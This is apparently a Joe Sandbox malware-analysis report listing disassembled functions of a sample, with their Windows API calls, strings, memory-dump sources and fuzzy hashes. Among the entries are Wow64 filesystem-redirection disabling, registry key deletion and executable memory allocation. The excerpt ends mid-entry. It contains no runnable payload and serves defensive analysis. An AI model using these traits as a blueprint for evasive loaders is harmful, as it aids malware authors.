Instruction Fuzzy Hash: 7B21DE32540219BFDF118F94CC82FEA7B69EF49724F154214FA55AB1D0D6B1E854CBB0

Function 00DAA698 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000469,?,00000000), ref: 00DAA74F
SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 00DAA75D
DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00DAA764

Strings

msctls_updown32, xrefs: 00DAA6C9

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: MessageSend$DestroyWindow
String ID: msctls_updown32
API String ID: 4014797782-2298589950
Opcode ID: 1d6aee4dc91245b1d7f6324249dde1c4066e6121a1538759c68681b8a897d6b6
Instruction ID: 58f4fff54ed6ff5d05996ca3d9cd12daea5827d15f008e09c15a4d617ff52228
Opcode Fuzzy Hash: 1d6aee4dc91245b1d7f6324249dde1c4066e6121a1538759c68681b8a897d6b6
Instruction Fuzzy Hash: 78215CB5600209AFDB14DF68CCC1EA737ADEB4A394B084559FA019B2A1CB71ED51CAB1

Function 00DA97B2 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000180,00000000,?), ref: 00DA983D
SendMessageW.USER32(?,00000186,00000000,00000000), ref: 00DA984D
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 00DA9872

Strings

Listbox, xrefs: 00DA980A

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: MessageSend$MoveWindow
String ID: Listbox
API String ID: 3315199576-2633736733
Opcode ID: 01a86e31f9db3cab63e50afc1706fb8902181288ea7dead25bb4e708f9901c96
Instruction ID: 9c6058fe061f49b861be60590cf0ce7fb13f53d006165e9670fe008c1206d841
Opcode Fuzzy Hash: 01a86e31f9db3cab63e50afc1706fb8902181288ea7dead25bb4e708f9901c96
Instruction Fuzzy Hash: 2821D432610218BFEF118F64CC85FBB7BAAEF8A754F018124F9449B190C6719C52CBB0

Function 00DAA217 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 00DAA27B
SendMessageW.USER32(?,00000406,00000000,00640000), ref: 00DAA290
SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00DAA29D

Strings

msctls_trackbar32, xrefs: 00DAA252

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: MessageSend
String ID: msctls_trackbar32
API String ID: 3850602802-1010561917
Opcode ID: 1961d052552360bfdf9b01b2391659cfdd4337fd371a7fe267105e1335a04294
Instruction ID: 0fa1b4a6100cb44f089812acd2249b7b44ac85056bd6babbd20797e35fb39096
Opcode Fuzzy Hash: 1961d052552360bfdf9b01b2391659cfdd4337fd371a7fe267105e1335a04294
Instruction Fuzzy Hash: 9F110671240308BFEF245F65CC46FA73BA9EF89B54F024219FA45A6090D372E861CB74

Function 00D62F5F Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 24libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoInitialize,00D63028,?), ref: 00D62F79
GetProcAddress.KERNEL32(00000000), ref: 00D62F80

Strings

RoInitialize, xrefs: 00D62F68
combase.dll, xrefs: 00D62F74

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RoInitialize$combase.dll
API String ID: 2574300362-340411864
Opcode ID: 2f93235b68733dc4d19def2fc2e1721fedab300ebae11896b210bc6d7188147a
Instruction ID: 4c1016ba2a68a4fe633c44936bd2425a17a047a0b27379eb147dc2cd5fd8420a
Opcode Fuzzy Hash: 2f93235b68733dc4d19def2fc2e1721fedab300ebae11896b210bc6d7188147a
Instruction Fuzzy Hash: 2CE01AB0695302AFDB105F77EC49F253666AB10706F048028F106E21A0CBB64088DF28

Function 00D63034 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoUninitialize,00D62F4E), ref: 00D6304E
GetProcAddress.KERNEL32(00000000), ref: 00D63055

Strings

RoUninitialize, xrefs: 00D6303D
combase.dll, xrefs: 00D63049

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RoUninitialize$combase.dll
API String ID: 2574300362-2819208100
Opcode ID: 7b4ad7f989cbb77c96e136ba5bdd19b734e9beea8b942351d0bd9f044910e267
Instruction ID: d1d34e00fdca5a51f845bf0447dc2e162312036a4ae12c3c50f288ee122a56f6
Opcode Fuzzy Hash: 7b4ad7f989cbb77c96e136ba5bdd19b734e9beea8b942351d0bd9f044910e267
Instruction Fuzzy Hash: CAE0B6B0646302AFDB205F62ED0DB153A65F714712F184028F209E22B4CBB64548CB38

Function 00DBBA51 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00DBBA58
__swprintf.LIBCMT ref: 00DBBA8C

Strings

%.3d, xrefs: 00DBBA66
WIN_XPe, xrefs: 00DBBACB

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: LocalTime__swprintf
String ID: %.3d$WIN_XPe
API String ID: 2070861257-2409531811
Opcode ID: 420f201a8c5a78803960308cbe48eec6f227e99f4d97719b6eb17513391b6b7c
Instruction ID: 9783b4f0b50360798cecb8555ce4ad696fc889af28b8332db79d03f92a119852
Opcode Fuzzy Hash: 420f201a8c5a78803960308cbe48eec6f227e99f4d97719b6eb17513391b6b7c
Instruction Fuzzy Hash: 60E0EC71C0811CEACA6496908C069FA737CAB04310F108493BD97D2040E7B5DB58AB31

Function 00D5E6E3 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00D5E6D9,?,00D5E55B,00DDDC28,?,?), ref: 00D5E6F1
GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 00D5E703

Strings

IsWow64Process, xrefs: 00D5E6FD
kernel32.dll, xrefs: 00D5E6EC

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: IsWow64Process$kernel32.dll
API String ID: 2574300362-3024904723
Opcode ID: daab647a15d53060a76f1d69c6b4a38a50dfa95fd127f51536638c250fbc5721
Instruction ID: eb07a021c752e542eb21b39a614b73f2d98123d253ecd8b2d026c169b6f16ffc
Opcode Fuzzy Hash: daab647a15d53060a76f1d69c6b4a38a50dfa95fd127f51536638c250fbc5721
Instruction Fuzzy Hash: FED0A9344403138FDB243F21EC4CA633BE8BB08306B29842EFDA5D2250DBB0C8888A30

Function 00D5E6A6 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00D5E69C,74DF0AE0,00D5E5AC,00DDDC28,?,?), ref: 00D5E6B4
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00D5E6C6

Strings

GetNativeSystemInfo, xrefs: 00D5E6C0
kernel32.dll, xrefs: 00D5E6AF

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetNativeSystemInfo$kernel32.dll
API String ID: 2574300362-192647395
Opcode ID: 44cf20f4c1e8848fef8e47894da2e4773995aa47521ea49c3feae5573e751f90
Instruction ID: dd6c048a23faad050a057e741f42cbaa74e83c956fa37c1104c8f276a108eee7
Opcode Fuzzy Hash: 44cf20f4c1e8848fef8e47894da2e4773995aa47521ea49c3feae5573e751f90
Instruction Fuzzy Hash: A0D0A7344403238FDB207F31EC08A2237E4AB24306B19982DFD59D1260D770C4848630

Function 00D9EBB9 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00D9EBAF,?,00D9EAAC), ref: 00D9EBC7
GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 00D9EBD9

Strings

GetSystemWow64DirectoryW, xrefs: 00D9EBD3
kernel32.dll, xrefs: 00D9EBC2

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetSystemWow64DirectoryW$kernel32.dll
API String ID: 2574300362-1816364905
Opcode ID: c03b5f3529840aa017b0060043e99479698ba00cdb2b75bd41f93a26f1a48ab6
Instruction ID: 6e2724b000ab91f761ee47e42a3d856263e5b4cda0e402b7752f662980a04a85
Opcode Fuzzy Hash: c03b5f3529840aa017b0060043e99479698ba00cdb2b75bd41f93a26f1a48ab6
Instruction Fuzzy Hash: 11D0A7344043138FDB205F31EC48E1637E4AF08318B29C42DF556D2250DBB0D8808670

Function 00D813A6 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(oleaut32.dll,00000000,00D81371,?,00D81519), ref: 00D813B4
GetProcAddress.KERNEL32(00000000,UnRegisterTypeLibForUser), ref: 00D813C6

Strings

oleaut32.dll, xrefs: 00D813AF
UnRegisterTypeLibForUser, xrefs: 00D813C0

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: UnRegisterTypeLibForUser$oleaut32.dll
API String ID: 2574300362-1587604923
Opcode ID: 5b27354e529dd66613c4270baaac1dd201e84ccc24e3243fa1df326417adf414
Instruction ID: e31524d0a79a1c2295a78dacf7166cf6d59a36d8685b4dcb8f28e98f122f97f5
Opcode Fuzzy Hash: 5b27354e529dd66613c4270baaac1dd201e84ccc24e3243fa1df326417adf414
Instruction Fuzzy Hash: EBD0A734400313AFD7201F25EC08A1136EDAF40305F09842DE555D1660DA70C4898730

Function 00D8137B Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(oleaut32.dll,?,00D8135F,?,00D81440), ref: 00D81389
GetProcAddress.KERNEL32(00000000,RegisterTypeLibForUser), ref: 00D8139B

Strings

oleaut32.dll, xrefs: 00D81384
RegisterTypeLibForUser, xrefs: 00D81395

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RegisterTypeLibForUser$oleaut32.dll
API String ID: 2574300362-1071820185
Opcode ID: ed167269c3074123c8aac3e0ac8932aa0239df89eb98536b074fe9233078a171
Instruction ID: 22faa3973130a288604857494a611f50ef85004e8e859ab9a7dd3a7c6751c9f2
Opcode Fuzzy Hash: ed167269c3074123c8aac3e0ac8932aa0239df89eb98536b074fe9233078a171
Instruction Fuzzy Hash: 5CD0A7348007139FD7203F25EC08B5136D8AF04305F0E842EE585D1650DA70C48D8730

Function 00DA3ACC Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(advapi32.dll,?,00DA3AC2,?,00DA3CF7), ref: 00DA3ADA
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00DA3AEC

Strings

RegDeleteKeyExW, xrefs: 00DA3AE6
advapi32.dll, xrefs: 00DA3AD5

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2574300362-4033151799
Opcode ID: dbcb3a279139fdb95664630fffe79848f5b8dc610b42b79d06a3ab8f35c5fe26
Instruction ID: f06cfe9e6cfbf2874798deade24ca7018183a5facbddde6cebc56213ac0e214f
Opcode Fuzzy Hash: dbcb3a279139fdb95664630fffe79848f5b8dc610b42b79d06a3ab8f35c5fe26
Instruction Fuzzy Hash: 61D0A930401B238FD7209F26EC0DA9236E9AF12314B09842DF5D5D2250EFF0C8C08A70

Function 00D43EC5 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,00000000,00D43EBB,?,00D43E91,?), ref: 00D43ED3
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00D43EE5

Strings

Wow64RevertWow64FsRedirection, xrefs: 00D43EDF
kernel32.dll, xrefs: 00D43ECE

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 2574300362-1355242751
Opcode ID: 9601f64fd3de1a7240e8d4b54be938c9a180eb8d598e44441086f540779ce379
Instruction ID: 8caafc3449a2e0c9a76caaf19479b570fa4da6457265621437a5f8950b76a267
Opcode Fuzzy Hash: 9601f64fd3de1a7240e8d4b54be938c9a180eb8d598e44441086f540779ce379
Instruction Fuzzy Hash: 77D0A93440231B8FD7209F2AEC09A3276E9EB04308B1A843EF989D2250DBB0C880CB30

Function 00D9BF55 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00D9BF4B,00000001,00D9BB7A,?,00DDDBF0), ref: 00D9BF63
GetProcAddress.KERNEL32(00000000,GetModuleHandleExW), ref: 00D9BF75

Strings

kernel32.dll, xrefs: 00D9BF5E
GetModuleHandleExW, xrefs: 00D9BF6F

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetModuleHandleExW$kernel32.dll
API String ID: 2574300362-199464113
Opcode ID: 009ae05c6306e0389c48805afd4e243770117cb3e172d3db612ff19e898d8bbc
Instruction ID: c8d2ae66ce64212922eb2e8593bd5bbafc27539d070852c2e58cb07fd48a0e4c
Opcode Fuzzy Hash: 009ae05c6306e0389c48805afd4e243770117cb3e172d3db612ff19e898d8bbc
Instruction Fuzzy Hash: 19D0A93444831BCFDB205FB5FE49A2236EAEF14325B1A846FE585D2250DBB0E8808A30

Function 00D43F32 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,00D43FAD,00D43F28,?,00D43F78,?,00D43FAD,?,?,?,?,00D434E2,?,00000001), ref: 00D43F40
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00D43F52

Strings

Wow64DisableWow64FsRedirection, xrefs: 00D43F4C
kernel32.dll, xrefs: 00D43F3B

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 2574300362-3689287502
Opcode ID: 659b32488896672e86566574bec4632cf8c6f08d2aab0d3e698895557cc33c7c
Instruction ID: 45247c8c280ba7b7ceac38787f005738e7e290a0bbe1dec1f07f2ec3f6242ecb
Opcode Fuzzy Hash: 659b32488896672e86566574bec4632cf8c6f08d2aab0d3e698895557cc33c7c
Instruction Fuzzy Hash: 66D0A734818313CFD7201F25EC18A2177F4AF04308B19882DE649D1250D7B0CA8C8A30

Function 00D7A8C8 Relevance: 6.3, APIs: 4, Instructions: 306COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11bf9a339061f87263405e28e1200be784ce3d586584e1a73b54c7661f9aa393
Instruction ID: 221ee121f28dbe9dddb7622bd857d70e99cdc7275f518f00924f835c1d4685b5
Opcode Fuzzy Hash: 11bf9a339061f87263405e28e1200be784ce3d586584e1a73b54c7661f9aa393
Instruction Fuzzy Hash: FEC15175A00216EFCB14CFA8C984EAEB7B5FF88704F148599E945EB251E730DE41CB61

Function 00D4AA70 Relevance: 6.3, APIs: 4, Instructions: 300COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(00000000,?,00000000,00000001,00000000,00000000,?,?,00000000,?,?,00D96AA6), ref: 00D4AB2D
_wcscmp.LIBCMT ref: 00D4AB49

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: BuffCharUpper_wcscmp
String ID:
API String ID: 820872866-0
Opcode ID: 17d04a49f724b4d5c3cb02a70930ed80cb1d41862f664b006b0f9ade98855e69
Instruction ID: f9eb9dc1ffe6c53df2771d64e7273244e4ddf9e087b0f09d8904bd71457bcd43
Opcode Fuzzy Hash: 17d04a49f724b4d5c3cb02a70930ed80cb1d41862f664b006b0f9ade98855e69
Instruction Fuzzy Hash: 57A1E375B4020ADBDB14DF69E9816BDBBA5FF48300F64416AEC56C72A0DB30D860C7B2

Function 00DA0D01 Relevance: 6.3, APIs: 4, Instructions: 300memoryCOMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?), ref: 00DA0D85
CharLowerBuffW.USER32(?,?), ref: 00DA0DC8

Part of subcall function 00DA0458: CharLowerBuffW.USER32(?,?,?,?), ref: 00DA0478

VirtualAlloc.KERNEL32(00000000,00000077,00003000,00000040), ref: 00DA0FB2
_memmove.LIBCMT ref: 00DA0FC2

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
